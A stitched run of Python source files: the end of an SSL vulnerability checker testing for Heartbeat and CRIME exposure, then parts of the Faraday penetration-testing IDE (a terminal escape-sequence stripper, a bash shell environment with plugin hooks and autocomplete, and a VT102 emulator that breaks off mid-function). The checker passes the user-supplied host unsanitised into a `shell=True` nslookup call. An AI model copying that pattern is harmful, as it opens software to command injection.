218 print "\033[0;41m[+]Heartbeat extension vulnerable\033[0m"
219 return;
220 #-----------------------------------XML_Export-----------------------------------#
221 if args.xmloutput:
222 heartbeat = ET.SubElement(scan, "heartbeat")
223 heartbeat.text = "no"
224 #-----------------------------------XML_Export-----------------------------------#
225 print "[+]Heartbeat extension disabled"
226
227 def crime_check(host,port):
228 for line in basic_connect(host,port):
229 if "Compression: NONE" in line:
230 #-----------------------------------XML_Export-----------------------------------#
231 if args.xmloutput:
232 crime = ET.SubElement(scan, "crime")
233 crime.text = "no"
234 #-----------------------------------XML_Export-----------------------------------#
235 print "[+]Compression disabled, CRIME is prevented"
236 return
237 elif "Compression: " in line:
238 #-----------------------------------XML_Export-----------------------------------#
239 if args.xmloutput:
240 crime = ET.SubElement(scan, "crime")
241 crime.text = "yes"
242 #-----------------------------------XML_Export-----------------------------------#
243 print ("\033[0;41m[+]Potentially vulnerable to CRIME:{}\033[0m").format(line)
244 return
245
246 print """\n\033[0;33m
247 ___ ___ _ ___ _ _
248 / __/ __| | / __| |_ ___ __| |_
249 \__ \__ \ |_| (__| ' \/ -_) _| / /
250 |___/___/____\___|_||_\___\__|_\_\ \033[0m
251
252 Version v1.0: November 2014
253 Morgan Lemarechal\n"""
254
255 if args.xmloutput:
256 root = ET.Element("sslcheck")
257
258 for host in args.host:
259
260 if re.match(r"^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$",host):
261 host_ip = host
262 host_name = ""
263 #host_name = subprocess.check_output("dig -x {} +short|sed 's/\.$//g'".format(host),shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE).rstrip()
264 print "[+]Perfoming the scan of {}".format(host_ip)
265 else:
266 host_name = host
267 host_ip = subprocess.check_output("nslookup "+host+" | tail -2 | head -1|awk '{print $2}'",shell=True, stdin=subprocess.PIPE, stderr=subprocess.PIPE).rstrip()
268 print "[+]Perfoming the scan of {}|{}".format(host_name,host_ip)
269
270 try:
271 #-----------------------------------XML_Export-----------------------------------#
272 if args.xmloutput:
273 scan = ET.SubElement(root, "scan")
274 scan.set('host',host_ip)
275 scan.set('port',str(args.port))
276 scan.set('hostname',host_name)
277 #-----------------------------------XML_Export-----------------------------------#
278 connection_test(host,args.port)
279 for scanning in program_options:
280 if args.choice == "all" or scanning in args.choice:
281 if not scanning == "all":
282 action = scanning+"_check"
283 globals()[action](host,args.port)
284
285 except KeyboardInterrupt:
286 print "[+]Interrupting SSLcheck..."
287 exit(1)
288
289 #-----------------------------------XML_Export-----------------------------------#
290 if args.xmloutput:
291 tree = ET.ElementTree(root)
292 try:
293 fo = open(args.xmloutput, "w")
294 tree.write(fo)
295 fo.close()
296 except IOError:
297 sys.exit('\033[0;41m[+]XML export failed.\033[0m')
298 #-----------------------------------XML_Export-----------------------------------#
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 import re
7 def c(x,y):
8 return (x<<4)+y
9
10 ESC=chr(c(1,11))
11
12 C0 = "[00/00-01/15]"
13 C1 = "01/11,[04/00-05/15]"
14 CSI = "01/11,05/11,[03/00-03/15]*,[02/00-02/15]*,[04/00-07/14]"
15
16 ##
17 ## Compile single definition to regular expression
18 ##
19
20 rx_char=re.compile(r"^(\d\d)/(\d\d)$")
21 rx_range=re.compile(r"^\[(\d\d)/(\d\d)-(\d\d)/(\d\d)\](\*?)$")
22
23 def compile_ecma_def(s):
24 r=[]
25 for token in s.split(","):
26 match=rx_range.match(token)
27 if match:
28 c1=c(int(match.group(1)),int(match.group(2)))
29 c2=c(int(match.group(3)),int(match.group(4)))
30 if c1==c2:
31 x=[r"\x%02x"%c1]
32 elif c1<c2:
33 rr=[r"\x%02x"%x for x in range(c1,c2+1)]
34 x=["[%s]"%"".join(rr)]
35 else:
36 rr=[r"\x%02x"%x for x in range(c2,c1+1)]
37 x=["[%s]"%"".join(rr)]
38 if match.group(5):
39 x+="*"
40 r+=x
41 continue
42 match=rx_char.match(token)
43 if match:
44 r+=[r"\x%02x"%c(int(match.group(1)),int(match.group(2)))]
45 continue
46 raise Exception("Invalid token: <%s>"%token)
47 return "".join(r)
48 ##
49 ## Compile ECMA-48 definitions to regular expression
50 ##
51 def get_ecma_re():
52 re_csi=compile_ecma_def(CSI)
53 re_c1=compile_ecma_def(C1).replace("\\x5b","")
54 re_c0=compile_ecma_def(C0)
55
56 for xc in ["\\x08","\\x09","\\x0a","\\x0d","\\x1b"]:
57 re_c0=re_c0.replace(xc,"")
58
59 re_vt100="\\x1b[c()78]" # VT100
60 re_other="\\x1b[^[]" # Last resort. Skip all ESC+char
61 return "|".join(["(%s)"%r for r in (re_csi,re_c1,re_c0,re_vt100,re_other)])
62 ##
63 ## Backspace pattern
64 ##
65 rx_bs=re.compile("[^\x08]\x08")
66 ##
67 ## \r<spaces>\r should be cut
68 ##
69 rx_lf_spaces=re.compile(r"\r\s+\r")
70 ##
71 ## ESC sequence to go to the bottom-left corner of the screen
72 ##
73 rx_esc_pager=re.compile("(^.*?\x1b\\[24;1H)|((?<=\n).*?\x1b\\[24;1H)",re.MULTILINE)
74 ##
75 ## Remove ECMA-48 Control Sequences from a string
76 ##
77 rx_ecma=re.compile(get_ecma_re())
78 def strip_control_sequences(s):
79 def strip_while(s,rx):
80 while True:
81 ss=rx.sub("",s)
82 if ss==s:
83 return s
84 s=ss
85
86 # Remove pager trash
87 s=strip_while(s,rx_esc_pager)
88 # Process backspaces
89 s=strip_while(s,rx_bs)
90 # Process LFs
91 s=rx_lf_spaces.sub("",s)
92 # Remove escape sequences
93 return rx_ecma.sub("",s)
0 #!/usr/bin/env python
1 '''
2 Faraday Penetration Test IDE - Community Version
3 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
4 See the file 'doc/LICENSE' for the license information
5
6 '''
7
8 import os
9 import pwd
10 import re
11 from cStringIO import StringIO
12
13 from model.common import ModelObject
14 from shell.core.history import HistoryTypeBuffer
15 import model.api as api
16
17 from ecma48 import strip_control_sequences
18 #TODO: check from config if it is qt3 or qt4 and import the right one
19 from gui.qt3.pyqonsole.widget import ShellWidget
20 from shell.controller.qt3.session import Session
21 #from shell.controller.qt3.procctrl import ProcessController
22 from model.common import TreeWordsTries
23 from config.configuration import getInstanceConfiguration
24 CONF = getInstanceConfiguration()
25
26 next_id = 1
27 #-------------------------------------------------------------------------------
28
29 #TODO: decide if we really need to inherit from ModelObject
30 class ShellEnvironment(ModelObject):
31 """
32 Shell environment is really a group of components that need to work together
33 The environment is composed by:
34 * a ShellWidget used in the GUI
35 * a Session (which is the real shell)
36 * a PluginController needed to handle all shell input and output
37 The shell environment interacts with the Model Controller to add new hosts
38 """
39 def __init__(self, name, qapp, gui_parent, model_controller,
40 plugin_controller, close_callback=None):
41
42 ModelObject.__init__(self)
43 self._id = self.get_id()
44 self.name = name
45
46 # a reference used to add new hosts
47 self._model_controller = model_controller
48
49 # create the widget
50 self.widget = ShellWidget(qapp,gui_parent,name)
51 self.widget.setupLayout()
52
53 # For safesty we don't use the user shell, we force it to bash
54 progname = "/bin/bash"
55 # create the session
56 #Session(gui, pgm, args, term, sessionid='session-1', cwd=None):
57 #self.process_controller = ProcessController()
58 self.session = Session(self.widget, progname, [], "xterm", name);
59
60 self.session.setConnect(True)
61 self.session.setHistory(HistoryTypeBuffer(1000))
62 self._setUpSessionSinalHandlers()
63
64 #self.__last_user_input = None
65 #self.__user_input_signal = False
66
67 # flag that determines if output has to be ignored
68 self.__ignore_process_output = False
69 self.__ignore_process_output_once = False
70 self.__first_process_output = True
71 self.__save_output_prompt_format = False
72
73 # determines if input is for an interactive command or not
74 self.__interactive = False
75
76 #TODO: check if we need to connect to this signal
77 self.session.myconnect('done', self.close)
78
79 # instance a new plugin controller
80 self.plugin_controller = plugin_controller(self.id)
81
82 self._initial_prompt = ""
83 #self._custom_prompt_format = re.compile("\\x1B\[1;32m\[.+@.+\s.+\]>(\$|#)\s+\\x1B\[m")
84 #self._custom_prompt_format = re.compile("\[.+@.+\s.+\]>(\$|#)\s+")
85 self._custom_prompt_format = re.compile("\[(?P<user>.+)@(?P<host>.+):(?P<path>.+)\]>(\$|#)")
86 #TODO: somewhere in the config there should be a list of regexes used to match
87 # prompts. Be careful with this because if regexes are too generic they will
88 # match more that is needed.
89 self._generic_prompt_formats = []
90 #XXX: adding this format just as a test! This should be in the config somehow
91 # Also this may be is too generic to use...
92 self._generic_prompt_formats.append(re.compile("^.+@.+:.+(\$|#)$"))
93
94 #This is a reference to MainApplication.deleteShellEnvironment
95 self._close_callback = close_callback
96
97 # flag that determines if shell environment is running
98 self.__running = False
99
100 #Autocomplete
101 self._options=[] #only keys
102 self._tname="" # last tool executed
103 self._lcount=0
104 self._optionsh={} #keys + help
105 self.__command = ''
106 def __del__(self):
107 """
108 When deleteing the environment we have to delete all the components
109 """
110 #print "ShellEnvironment __del__ called"
111 del self.session
112 #TODO: delete tab holding current ShellWidget
113 #tabmgr = self.widget.parentWidget()
114 #tabmgr.removeView(self.widget)
115 #FIXME: check the __del__ method in ShellWidget
116 #del self.widget
117 #TODO: make sure the plugin controller correctly finishes all processes
118 del self.plugin_controller
119
120 def close(self, session, status, *args):
121 #TODO: por alguna razon queda colgado un QSocketNotifier
122 # QSocketNotifier: invalid socket 17 and type 'Read', disabling...
123 # y eso cuelga la aplicacion
124 api.devlog("ShellEnvironment close was called - session = %r, status = %r , *args = %r" % (session, status, args))
125 if self._close_callback is not None:
126 self._close_callback(self.name, self)
127 else:
128 api.devlog("close was call but callback is not set")
129
130 #def setCloseCallback(self, ref):
131 # self._close_callback = ref
132
133 def get_id(self):
134 global next_id
135 # just to make sure each env has a differente id because names can be the same
136 id = next_id
137 next_id += 1
138 return id
139
140 def run(self):
141 self.session.run()
142 self.__running = True
143 #self.plugin_controller.run()
144
145 def _setUpSessionSinalHandlers(self):
146 """
147 Connects some signal handlers to different signals emmited inside shell
148 emulation and pty.
149 These signals are used to handle user input and child process output
150 """
151 #IMPORTANT ABOUT USER INPUT AND PROCESS OUPUT (Session class)
152 #PtyProcess in method dataReceived gets the child output
153 #in method sendBytes it has the user input
154 #
155 #Emulation in method sendString also has the user input
156 #also check method onKeyPressed to identify when an ENTER key is pressed
157 #
158 #
159 #OUTPUT
160 # emulation onRcvBlock le llega la salida del proceso
161 # self.myconnect('receivedStdout', self.dataReceived)
162 # Este se llama desde childOutput en pty_
163 # self.myemit("receivedStdout", (fdno, lenlist))
164 #
165 # self.myemit('block_in', (buf,)) <--- se llama desde dataReceived
166 # self.sh.myconnect('block_in', self.em.onRcvBlock)
167 #
168 #INPUT
169 # self.myemit("sndBlock", (string,))
170 # self.em.myconnect('sndBlock', self.sh.sendBytes)
171 #
172 # otra opcion es agregar una senal propia en los metodos sendString
173 # o en onKeyPressed de emuVt102
174
175 # connect signals to handle shell I/O
176 self.session.sh.myconnect('processOutput', self.processOutputHandler)
177
178 #XXX: nasty hack to be able to send a return value
179 # Using myconnect and emitting singals won't allow us to return a value
180 self.session.em.sendENTER = self.processUserInputBuffer
181 self.widget.myconnect('ignoreShellWidgetResize', self.ignoreDueResize)
182
183 #handle ctrl+space
184 self.session.em.sendCTRLSPACE = self.processCtrlSpace
185 self.session.em.sendRIGHT = self.processMove
186 self.session.em.sendLEFT = self.processMove
187 self.session.em.sendUP = self.processMove
188 self.session.em.sendDOWN = self.processMove
189
190
191
192 #---------------------------------------------------------------------------
193 # methods to handle signals for shell I/O
194 # these methods must be async to avoid blocking shell
195 # XXX: signalable object is used.. and it is not really async
196 #---------------------------------------------------------------------------
197
198
199 def replaceWord(self, source, dest, output):
200 #matchesWord = re.findall("(\x1b+\x1b?.*?%s\x1b?)"%source, output)
201 matchesWord = re.findall("(\x1b\[01;34m127.0.0.1\x1b)", output)
202
203 for w in matchesWord:
204 output = output.replace(w, dest)
205
206 return output
207
208 def highligthword(self, w, output):
209 highlighted_word = "\x1b[02;44m%s\x1b[0m" % w
210 output = self.replaceWord(w, highlighted_word, output)
211 return output
212
213 def processOutputHandler(self, output):
214 """
215 This method is called when processOutput signal is emitted
216 It sends the process output to the plugin controller so it can
217 pass it to the corresponding plugin
218 """
219 # the output comes with escape chars for example to show things with colors
220 # those escape chars are messing the text and plugins may not handle that
221 # correctly.
222 #TODO: implement some way of removing the escape sequences
223
224 # if we get the output from the screen image we have some issues when the
225 # output is longer than the actual size and scrolls the window
226 #TODO: check how to handle the window scrolling
227
228 #output = self.session.em.getLastOutputFromScreenImage(1)
229 #api.devlog("-"*50)
230 #api.devlog("processOutputHandler called - output =\n%r" % self.session.em.getLastOutputFromScreenImage(1))
231 #api.devlog("processOutputHandler called - hist lines = %r" % self.session.em._scr.getHistLines())
232 #api.devlog("-"*50)
233
234 #TODO: is this really needed??? (to save first prompt output)
235 if self.__first_process_output:
236 # save the output as prompt
237 #api.devlog("Saving prompt for the first time\n\tPROMPT: %r" % output)
238 # then mark flag because it won't be the first anymore
239 self._initial_prompt = output.strip()
240 self.__first_process_output = False
241 # after getting first output which is the default prompt
242 # we change it and clear screen
243 self.__setCurrentShellPromptFormat()
244 self.session.updateLastUserInputLine()
245 return
246
247 if self.__save_output_prompt_format:
248 # means the output is the PS1 format and we have to store it
249 # The output is the result of running "echo $PS1" so 2 lines are
250 # generated: one with the actual value of PS1 and one more
251 # that is the prompt just because the echo finished
252 # So we have to keep the first line only
253 self._initial_prompt = ouput.splitlines()[0].strip()
254 self.__save_output_prompt_format = False
255
256
257 #strip_control_sequences(output)
258
259
260 #print "AAAAAAAAAAAAAaaa: ", repr(output)
261 #for word in wordsFound:
262 # output = self.highligthword(word, output)
263
264
265 # check if output has to be ignored
266 if not self.__ignore_process_output and not self.__ignore_process_output_once:
267 api.devlog("processOutputHandler (PROCESSED):\n%r" % output)
268
269 command_finished, output = self.check_command_end(output)
270
271 #IMPORTANT: if no plugin was selected to process this output
272 # we don't need to send to controller
273 if self.plugin_controller.getActivePluginStatus():
274 # always send all output to the plugin controller
275 self.plugin_controller.storeCommandOutput(output)
276 # if command ended we notify the plugin
277 if command_finished:
278 api.devlog("calling plugin_controller.onCommandFinished()")
279 self.plugin_controller.onCommandFinished()
280 else:
281 api.devlog("<<< no active plugin...IGNORING OUTPUT >>>")
282
283 else:
284 #if re.search("export PS1",output) == None:
285 # self.__command += output
286
287 #if re.search("export PS1",output) == None:
288 # self.__command += output
289 #
290 #if self.__command != "":
291 # api.devlog("processOutputHandler (Allcommand): (%s)" % self.__command)
292 #
293 # #TODO: hacer un regex inicial, y verificar si es el lugar exacto para poner esto.
294 # #TODO: No soporta el backspace o caracteres especiales
295 # #TODO: Recorrer todo no es performante, hay que revisar
296 # for h in self._model_controller._hosts.itervalues():
297 # if re.search(self.__command,h.name,flags=re.IGNORECASE):
298 # api.devlog("Host name found: " + h.name + " id ("+h.id+")");
299 # for o in h.getAllInterfaces():
300 # if re.search(self.__command,o.name,flags=re.IGNORECASE):
301 # api.devlog("Host name found: " + h.name + " id ("+h.id+") - Interface ("+o.name+") id ("+o.id+")");
302 # for o in h.getAllApplications():
303 # if re.search(self.__command,o.name,flags=re.IGNORECASE):
304 # api.devlog("Host name found: " + h.name + " id ("+h.id+") - Application ("+o.name+") id ("+o.id+")");
305
306
307 api.devlog("processOutputHandler (IGNORED by flags): \n%r" % output)
308 #api.devlog("self.__ignore_process_output_once = %s" % self.__ignore_process_output_once)
309 #api.devlog("self.__ignore_process_output = %s" % self.__ignore_process_output)
310 self.__ignore_process_output_once = False
311
312
313
314
315
316
317 def processMove(self):
318 """
319 this method is called when up/down/left/right
320 """
321
322 if not self.__interactive:
323 self._options=[]
324 self._optionsh={}
325 self._tname = ""
326
327 def processCtrlSpace(self):
328 """
329 this method is called when the Ctrl+Space is pressed
330 """
331 if not self.__interactive:
332 # get the complete user input from screen image (this is done so we don't
333 # have to worry about handling any key)
334 user_input = self.session.em.getLastOutputFromScreenImage(get_spaces=True)
335 # parse input to get the prompt and command in separated parts
336
337 prompt, username, current_path, command_string, command_len = self.__parseUserInput(user_input,get_spaces=True)
338 api.devlog("processCtrlSpace info("+user_input+")("+command_string+")")
339 api.devlog("-"*60)
340 api.devlog("CTRL + SPACE \nprompt = %r\ncommand = %r" % (prompt, command_string))
341 api.devlog("self.__interactive = %s" % self.__interactive )
342 api.devlog("-"*60)
343
344
345 words=command_string.split(" ")
346 #words2=command_string.split(" ")
347 cword=words[len(words)-1] #obtengo la ultima palabra
348 #words.remove(cword) #elimino la ultima palabra
349 options=[]
350 search=0
351 mindex=0
352
353 try: # si encuentra la palabra significa que se encuentra en una interaccion
354 mindex = self._options.index(cword)
355 #api.devlog("El tname es:" + self._tname)
356 # Si no es la misma herramienta o cambio la cantidad de palabra significa que tengo que empezar de nuevo
357 if (self._tname != words[1] and self._tname != "") or (self._lcount != len(words)):
358 mindex = -1
359 except ValueError:
360 mindex = -1
361
362 if mindex == -1: # si no la encuentra inicia de nuevo.
363 self._options=[]
364 self._optionsh={}
365 search=1
366 else:
367 options=self._options
368
369 #Guardo la cantidad palabras para comparar despues
370 self._lcount = len(words)
371
372 #save first command
373 if len(words) >2:
374 self._tname = words[1] #guardo el nombre de la tool
375 else:
376 self._tname = ""
377
378
379 if search ==1 and cword !="":
380 #Busqueda de Hosts (ignore si el comando que escribi es blanco)
381 for h in self._model_controller.getAllHosts():
382 if re.search(str("^"+cword),h.name,flags=re.IGNORECASE):
383 if len(options) == 0:
384 options.append(cword)
385 api.devlog("Host name found: " + h.name + " id ("+h.id+")");
386 options.append(h.name)
387 #Busqueda de Hostname dentro de las interfaces
388 for i in h.getAllInterfaces():
389 for hostname in i.getHostnames():
390 if re.search(str("^"+cword),hostname,flags=re.IGNORECASE):
391 if len(options) == 0:
392 options.append(cword)
393 api.devlog("Hostname found: " + hostname + " id ("+i.id+")");
394 options.append(hostname)
395
396 self._options = options
397
398 new_options={}
399 api.devlog("Cantidad de _options" + str(len(self._options)))
400
401 #Si no se encontro nada, busco opciones en el plugin
402 if len(self._options) == 0:
403 #try:
404 if 1==1:
405 #Llamo al controller para ver si hay algun plugin que pueda dar opciones
406 #Devuelve un dict del estilo 'option' : 'help de la option'
407 new_options = self.plugin_controller.getPluginAutocompleteOptions(prompt, username,
408 current_path,
409 command_string,
410 self.__interactive)
411
412
413 if new_options != None:
414 if len(new_options) >= 1: #Si encontro plugin que maneje y trae opciones hago iteracciones.
415 api.devlog("Options de plugin encontradas: ("+str(len(new_options))+") valores ("+str(new_options)+")")
416 options = [cword]+new_options.keys() #Guardo las opciones (agrego la word inicial)
417 self._options = options
418 self._optionsh = new_options
419
420 api.devlog("getPluginAutocompleteOptions: %r" % user_input)
421 api.devlog("new_options:" + str(options))
422 if 1==2:
423 #except Exception:
424 api.devlog("Exception: Plugin")
425 # if anything in the plugins fails and raises an exception we continue wihout doing anything
426 new_cmd = None
427
428 # Recorro las opciones disponibles
429 #TODO: Reemplazar esto por una ventana desplegable o
430 i=0
431 newword=""
432 if len(options) > 1: # Reemplazar solo si hay opciones
433 for w in options:
434 #api.devlog("Por la palabra ("+ w +") (" + str(i)+") la palabra(" + cword+")")
435 if cword==w:
436 if len(options) > i+1:
437 newword=options[i+1]
438 #api.devlog("La encontre next ("+ newword +") (" + str(i)+")"+ str(options) )
439 else:
440 newword=options[0]
441 #api.devlog("La encontre last ("+ newword +") (" + str(i)+")"+ str(options) )
442 #newword="-h"
443 i+=1
444
445 if self._optionsh.has_key(newword):
446 #TODO: reemplazar esto por un help distinto no usar el devlog
447 api.showPopup( newword + " :" + self._optionsh[newword])
448 #api.devlog("pluginhelp: " + newword + " :" + self._optionsh[newword])
449
450 #Hago el cambio en la shell
451 self.session.sh.sendBytes("\b" * len(cword) + newword)
452
453 def processUserInputBuffer(self):
454 """
455 this method is called when the ENTER is pressed
456 It processes the user input buffer and then it clears it for future
457 if a new command is returned by a plugin this is returned to the caller
458 (which is onKeyPress in module emuVt102)
459 """
460
461 command_string=""
462 command_len = 0
463 if not self.__interactive:
464 # get the complete user input from screen image (this is done so we don't
465 # have to worry about handling any key)
466 user_input = self.session.em.getLastOutputFromScreenImage(get_full_content=True)
467 api.devlog("user_input parsed from screen(0) = %s" % user_input)
468 # parse input to get the prompt and command in separated parts
469 prompt, username, current_path, command_string, command_len = self.__parseUserInput(user_input)
470
471 api.devlog("user_input parsed from screen(1) =%s" % self.session.em.getLastOutputFromScreenImage(index=1, get_full_content=True))
472
473 # we send the buffer to the plugin controller to determine
474 # if there is a plugin suitable to handle it
475 api.devlog("-"*60)
476 api.devlog("about to call plugin controller\nprompt = %r\ncommand = %r" % (prompt, command_string))
477 api.devlog("self.__interactive = %s" % self.__interactive )
478 api.devlog("-"*60)
479 # when calling the plugin, the command string may be changed
480 # if the configuration allows this we send it instead of the typed one
481 #TODO: validate config to allow this
482
483 try:
484 new_cmd = self.plugin_controller.processCommandInput(prompt, username,
485 current_path,
486 command_string,
487 self.__interactive)
488
489 # we set it to interactive until we make sure the command has finished
490 # this check is done in processOutputHandler
491 self.__interactive = True
492 api.devlog("processUserInputBuffer: %r" % user_input)
493 api.devlog("new_cmd: %r" % new_cmd)
494 except Exception, e:
495 # if anything in the plugins fails and raises an exception we continue wihout doing anything
496 api.devlog("ERROR: processCommandString")
497 api.devlog(e)
498 new_cmd = None
499
500 if new_cmd is None:
501 # the output MUST BE processed
502 self.__ignore_process_output = False
503 self.__ignore_process_output_once = False
504 else:
505 # means the plugin changed command and we are going to send
506 # ALT + r to delete current line. That produces an empty output
507 # which has to be ignored
508
509 self.__ignore_process_output_once = True
510 self.__ignore_process_output = False
511 else:
512 api.devlog("IGNORING BECAUSE INTERACTIVE FLAG WAS SET")
513 new_cmd = None
514
515
516 return new_cmd,command_string,command_len
517
518 def ignoreDueResize(self):
519 self.__ignore_process_output = True
520
521
522 def __parseUserInput(self, user_input="", get_spaces=False):
523 """
524 parses the user input buffer and returns the following values:
525 * current user prompt
526 * current username
527 * current path
528 * command or text after prompt
529 """
530 username = ""
531 hostname = ""
532 current_path = ""
533 usr_prompt = ""
534 usr_command = ""
535 raw_command = ""
536
537 match = self._custom_prompt_format.search(user_input)
538 if match is not None:
539 username = match.group("user")
540 hostname = match.group("host")
541 current_path = os.path.expanduser(match.group("path"))
542 usr_prompt = user_input[:match.end()].strip()
543 raw_command = user_input[match.end():]
544 if get_spaces == False:
545 usr_command = raw_command.strip()
546 else:
547 usr_command = raw_command
548 else:
549 # means there was no prompt and theres only user input
550 usr_command = user_input
551
552 return usr_prompt, username, current_path, usr_command, len(raw_command)
553
554 def __setCurrentShellPromptFormat(self):
555 # this is done to be able to detect the prompt later
556 # Since we defined the prompt format we know how to parse it
557 # The prompt format must not contain color escape chars or it'll mess up the output
558 self.session.set_shell_ps1("[\\u@\\h:\\w]>\\$ ")
559
560 def __getCurrentShellPromptFormat(self):
561 """
562 this gets the current PS1 environment variable
563 of the current shell created.
564 This is async because a command is sent and
565 the output is retrieved later.
566 """
567 self.__save_output_prompt_format = True
568 self.session.get_shell_ps1()
569
570
571 def __matchesCustomPrompt(self, txt):
572 """
573 checks if the current text matches our custom prompt format
574 and returns true in that case, false otherwise
575 """
576 if not self._custom_prompt_format:
577 api.devlog("prompt format (PS1) is not defined.\nThis may cause unexpected results...")
578 return False
579
580 txt = txt.strip()
581 m = self._custom_prompt_format.search(txt)
582 return (m is not None)
583
584 #XXX: this code below checked that the match was the last part of the text
585 #if m is not None:
586 # if len(txt) == m.end():
587 # return True
588 #return False
589
590 def __matchGenericPrompt(self, txt):
591 """
592 checks if the current text matches against a list of
593 generic prompt formats defined in the configuration
594 and returns true in that case, false otherwise.
595 This is used because if a prompt is detected it may be because a connection
596 was established with a remote host.
597 """
598 if not self._generic_prompt_formats:
599 api.devlog("There isn't any generic prompt format defined")
600 return False
601
602 txt = txt.strip()
603 # Should we use match instead of search?
604 for r in self._generic_prompt_formats:
605 m = r.search(txt)
606 if m is not None:
607 return True
608 return False
609
610
611 def check_command_end(self, output):
612 """
613 Checks if the command finished by checking if the last line of the ouput
614 is just our shell custom prompt.
615 It also checks if a generic prompt is detected as the last line, which
616 could mean that the commmand may have resulted in a remote connection
617 to another host or device.
618 This method returns 2 values: first a boolean flag that determines if
619 command ended and then the full command output.
620 """
621 # We check if the last line in the output is just our modified shell prompt...
622 # This would mean the command ended and we notify the plugin then
623 api.devlog("check_command_end called...\noutput received = %r" % output)
624 output_lines = output.splitlines()
625 last_line = output_lines[-1].strip()
626 api.devlog("about to test match with line %r" % last_line)
627 command_finished = self.__matchesCustomPrompt(last_line)
628 #command_finished = self.__matchesCustomPrompt(last_line.split()[0])
629 if command_finished:
630 # if we found this prompt then it means the command ended
631 # we remove that line from output to send it
632 api.devlog("command finished. Removing last line from output because it is just the prompt")
633 output_lines.pop(-1)
634 output = "\n".join(output_lines)
635 # if command finished we need to ignore further output. It will be user input
636 self.__ignore_process_output = True
637 self.__interactive = False
638 self.session.updateLastUserInputLine()
639 else:
640 # if we are here means that last line of the output is not our custom
641 # shell prompt, but we need to check if a generic prompt is there
642 # which means a remote connection may have been established
643 if self.__matchGenericPrompt(last_line):
644 api.devlog("A generic prompt format matched the last line of the command ouput")
645 #TODO: define what to do in this case
646
647 return command_finished, output
648
649 def terminate(self):
650 if self.__running:
651 self.__running = False
652 self.session.terminate()
653 #-------------------------------------------------------------------------------
0 '''
1 Faraday Penetration Test IDE - Community Version
2 Copyright (C) 2013 Infobyte LLC (http://www.infobytesec.com/)
3 See the file 'doc/LICENSE' for the license information
4
5 '''
6 __all__ = ['emulation', 'emuVt102', 'keytrans', 'procctrl', 'session']
0 # -*- coding: ISO-8859-1 -*-
1 # Copyright (c) 2005-2006 LOGILAB S.A. (Paris, FRANCE).
2 # Copyright (c) 2005-2006 CEA Grenoble
3 # http://www.logilab.fr/ -- mailto:[email protected]
4 #
5 # This program is free software; you can redistribute it and/or modify it under
6 # the terms of the CECILL license, available at
7 # http://www.inria.fr/valorisation/logiciels/Licence.CeCILL-V2.pdf
8 #
9 """Provide the EmuVt102 class, responsible for the VT102 Terminal Emulation.
10
11 Based on the konsole code from Lars Doelle.
12
13 OSC: Operating System Controls (introduced by 'ESC[')
14 CSI: Control Sequence Introducer (introduced by 'ESC]')
15
16 @author: Lars Doelle
17 @author: Benjamin Longuet
18 @author: Frederic Mantegazza
19 @author: Cyrille Boullier
20 @author: Sylvain Thenault
21 @copyright: 2003, 2005, 2006
22 @organization: CEA-Grenoble
23 @organization: Logilab
24 @license: CECILL
25 """
26
27 __revision__ = '$Id: emuVt102.py,v 1.23 2006-02-15 10:24:01 alf Exp $'
28
29 import os
30 import qt
31
32 import keytrans as kt
33 from emulation import Emulation, NOTIFYBELL, NOTIFYNORMAL
34 from shell.core.common import CTRL
35 import shell.core.screen as screen
36 import gui.qt3.pyqonsole.widget as widget
37 import shell.core.ca as ca
38 import model.api as api
39
40 # Qt chars shortcuts
41 ControlButton = qt.QEvent.ControlButton
42 ShiftButton = qt.QEvent.ShiftButton
43 AltButton = qt.QEvent.AltButton
44
45 # VT102 modes
46 MODE_AppScreen = screen.MODES_SCREEN+0
47 MODE_AppCuKeys = screen.MODES_SCREEN+1
48 MODE_AppKeyPad = screen.MODES_SCREEN+2
49 MODE_Mouse1000 = screen.MODES_SCREEN+3
50 MODE_Ansi = screen.MODES_SCREEN+4
51
52 # Tokens
53 TY_CHR = 0
54 def TY_CTL(A):
55 return ((ord(A) & 0xff) << 8) | 1
56 def TY_ESC(A):
57 return ((ord(A) & 0xff) << 8) | 2
58 def TY_ESC_CS(A, B):
59 return ((ord(B) & 0xffff) << 16) | ((ord(A) & 0xff) << 8) | 3
60 def TY_ESC_DE(A):
61 return ((ord(A) & 0xff) << 8) | 4
62 def TY_CSI_PS(A, N):
63 return ((N & 0xffff) << 16) | ((ord(A) & 0xff) << 8) | 5
64 def TY_CSI_PN(A):
65 return ((ord(A) & 0xff) << 8) | 6
66 def TY_CSI_PR(A, N):
67 return ((N & 0xffff) << 16) | ((ord(A) & 0xff) << 8) | 7
68 def TY_VT52(A):
69 return ((ord(A) & 0xff) << 8) | 8
70 def TY_CSI_PG(A):
71 return ((ord(A) & 0xff) << 8) | 9
72
73 # Character Classes used while decoding
74 CTL = 1
75 CHR = 2
76 CPN = 4
77 DIG = 8
78 SCS = 16
79 GRP = 32
80 ESC = 27
81
82
83 # init tokenizer table
84 TOK_TBL = []
85 def init_tokenizer():
86 for i in xrange(32):
87 TOK_TBL.append(CTL)
88 for i in xrange(32, 256):
89 TOK_TBL.append(CHR)
90 for s in "@ABCDGHLMPXcdfry":
91 TOK_TBL[ord(s)] |= CPN
92 for s in "0123456789":
93 TOK_TBL[ord(s)] |= DIG
94 for s in "()+*%":
95 TOK_TBL[ord(s)] |= SCS
96 for s in "()+*#[]%":
97 TOK_TBL[ord(s)] |= GRP
98 init_tokenizer()
99
100 # decoder helpers
101 def lec(p, s, P, L, C):
102 """
103 P: the length of the token scanned so far.
104 L: (often P-1) the position on which contents we base a decision.
105 C: a character or a group of characters (taken from 'tbl').
106
107 s: input buffer
108 p: length of the input buffer
109 """
110 return p == P and s[L] == C
111
112 def lun(p, cc):
113 return p == 1 and cc >= 32
114 def eec(p, cc, C):
115 return p >= 3 and cc == C
116 def epp(p, s):
117 return p >= 3 and s[2] == ord('?')
118 def egt(p, s):
